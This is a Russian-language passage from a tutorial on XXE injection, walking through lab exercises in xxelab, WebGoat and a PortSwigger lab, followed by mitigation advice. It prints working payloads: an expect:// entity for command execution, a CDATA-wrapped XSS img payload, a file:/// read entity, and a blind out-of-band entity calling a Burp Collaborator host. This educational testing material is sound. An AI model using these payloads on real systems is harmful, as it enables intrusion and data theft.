May 15, 2022

Руководство по XXE Injection. Часть 2

Теперь он опубликует комментарий, нажав на кнопку «Post Comment». После этого пользователь откроет пост, под которым он разместил свой комментарий, и найдет его там.

Нужно проверить источник страницы, чтобы найти комментарий, который был размещен ранее. Человек найдет нечто похожее на это:

Пользователь нажмет на приведенную выше ссылку и получит флаг в новом окне.

Он проверит это, отправив сам флаг. В итоге пользователь получает сообщение о том, что все прошло успешно.

Понимание всей концепции: когда пользователь загрузил полезную нагрузку в поле «Аватар» и заполнил все остальные поля, его комментарий был показан под постом. Изучив исходный файл, он получил путь, по которому был загружен этот файл. Пользователь заинтересован в этом поле, так как его полезная нагрузка XXE была внутри SVG-файла, и она будет содержать информацию, которую он хотел получить, в данном случае — это «/etc/domain». Перейдя по этой ссылке, он смог увидеть информацию, которая была ему нужна.

Проведение атаки XXE для удаленного выполнения кода

Удаленное выполнение кода — это очень серьезная уязвимость серверного веб-приложения. При этом злоумышленник может внедрить свой вредоносный код на сервер, чтобы получить важную информацию. Чтобы продемонстрировать эту атаку, пользователь использовал XXE LAB. Он выполнит следующие шаги, чтобы загрузить и запустить ее на своей машине Linux:

git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up

В своем терминале он получает примерно такой же результат, как и на следующем изображении:

Теперь, когда все будет готово к использованию, пользователь откроет браузер и введет: «http://192.168.33.10/». Он увидит, что сайт выглядит следующим образом:

Пользователь будет вводить свои данные и перехватывать запрос с помощью Burp Suite. В Burp Suite он увидит запрос таким, как показано ниже на картинке.

Пользователь отправит этот запрос в ретранслятор и посмотрит, какое поле уязвимо. Итак, он делает это и будет наблюдать за вкладкой «Response»:

Читатели могут заметить, что пользователь видит только электронную почту, поэтому далее нужно проверить еще одну запись, чтобы убедиться, что именно это поле является уязвимым.

На приведенном выше скриншота видно, что поле электронной почты уязвимо. Теперь пользователь введет свою полезную нагрузку.

<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id"> ]>

Нужно детально ознакомиться с этой полезной нагрузкой перед ее реализацией.

Пользователь создал «doctype» с именем «root» и под ним создал сущность с именем «ignite», которая запрашивает «expect://id». Если «expect» принимается на странице «php», то удаленное выполнение кода возможно. Пользователь извлекает идентификатор, поэтому в данном случае он использовал «id».

Видно, что человек успешно получил «uid», «gid» и номер группы. Это доказывает, что удаленное выполнение кода в данном случае было успешным.

Межсайтовый скриптинг с помощью ХХЕ

В настоящее время есть тенденция, что скрипты блокируются веб-приложениями, но есть способ исправить это. Пользователь может использовать данные XML для проведения этой атаки. Он также увидит данные на этапе смягчения последствий. В данном случае человек использовал вышеупомянутую лабораторию XXE для выполнения XSS. Итак, у пользователя есть тот же перехваченный запрос, что и в предыдущем примере, и он знает, что поле электронной почты уязвимо, поэтому будет вводить полезную нагрузку только в это поле. Полезная нагрузка, которую он будет использовать, выглядит следующим образом:

<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>

Понимание полезной нагрузки: поскольку пользователь знает, что в большинстве полей ввода < and > заблокированы, он включил его в CDATA. CDATA — это символьные данные, а данные внутри CDATA не анализируются XML-анализатором и находятся в том виде, в каком они вставляются в выходные данные.

Стоит взглянуть на эту атаку поближе.

Пользователь вводит приведенную выше команду между полем электронной почты и будет наблюдать за выводом на вкладке «Response».

Человек видит, что у него есть тег изображения, встроенный в поле вместе с скриптом. Он щелкнет по нему правой кнопкой мыши и выберет опцию «Show response in browser».

Пользователь скопирует приведенную выше ссылку и вставит ее в браузер, и ему будет показано окно предупреждения с надписью «1», это можно наблюдать на приведенном ниже скриншоте.

Итак, приведенный выше скриншот дает понять, что пользователь смог осуществить межсайтовый скриптинг с использованием XML.

JSON и манипуляция контентом

JSON — это объектная нотация JavaScript, которая также используется для хранения и транспортировки данных, таких как XML. Пользователь может преобразовать JSON в XML и получить тот же результат, а также добраться до важной информации. Пользователь, более того, способен манипулировать контентом, чтобы сделать XML приемлемым для приложения или сайта. Для этой цели человек будет использовать WebGoat. В WebGoat он будет выполнять атаку XXE.

Перехваченный запрос выглядит так, как показано выше на картинке. Пользователь изменит его тип контента и заменит JSON на XML-код.

XML-код, который он будет использовать, следующий:

<?xml?>
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "file:///">
]>
<comment>
<text>
&ignite;
</text>
</comment>

Позже пользователь увидит, что его комментарий опубликован вместе с корневым файлом.

Таким образом, пользователь узнал, как он может выполнить инъекцию XML в поле JSON, а также как он способен передавать XML, манипулируя его типом содержимого.

О том, что только что произошло, подробнее.

JSON — это то же самое, что и язык XML, поэтому пользователь может получить тот же вывод с помощью XML, что и ожидаемый от запроса JSON. В приведенном выше примере читатели увидели, что JSON имеет текстовое значение, поэтому пользователь заменил запрос JSON вышеуказанной полезной нагрузкой и получил корневую информацию о системе. Если бы пользователь не изменил тип контента на «application / XML», то его XML-запрос не был бы передан.

Blind XXE

В приведенных выше атаках читатели видели, какое поле уязвимо. Однако когда пользователь получает другой выход, то он может использовать Blind XXE. Человек будем применять лабораторию Portswigger для демонстрации Blind ХХЕ. Для этого он также будет использовать Burp Collaborator, который присутствует только в профессиональной версии Burp Suite. Пользователь использует лабораторию под названием: «Blind XXE with out-of-band interaction via XML parameter Entities». Когда он откроет ее, то увидит следующую страницу:

Пользователь нажмет на кнопку «View details» и будет перенаправлен на нижеприведенную страницу, на которой он способен перехватывать запрос «Check stock».

Пользователь получает перехваченный запрос, как показано ниже на картинке.

Теперь пользователь запустит Burp collaborator из меню Burp и увидит следующее окно.

Пользователь нажмет на кнопку «Copy to clipboard», чтобы скопировать поддомен Burp, который он будет использовать в своей полезной нагрузке.

Полезная нагрузка, которую он будет применять, выглядит следующим образом:

<!DOCTYPE stockCheck [
<!ENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %ignite; ]>

Теперь в Burp Collaborator пользователь видит, что он фиксирует какой-то запрос, что говорит ему о том, что он успешно выполнил Blind XXE.

Человек проверит, что его вывод верен, в самой лаборатории.

Шаги по смягчению последствий атаки

  • Самый безопасный способ предотвратить XXE — это полностью отключить DTD (внешние объекты). В зависимости от парсера метод должен быть похож на следующий:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • DoS-атаки также можно предотвратить, отключив DTD. Если полностью отключить DTDs невозможно, то внешние сущности и объявления внешних типов документов должны быть отключены способом, специфичным для каждого синтаксического анализатора.
  • Другой метод – это использование CDATA для игнорирования внешних сущностей. CDATA — это символьные данные, которые предоставляют собой блок, который не анализируется синтаксическим анализатором.
<data><!CDATA [ "'& > characters are ok in here] ]></data>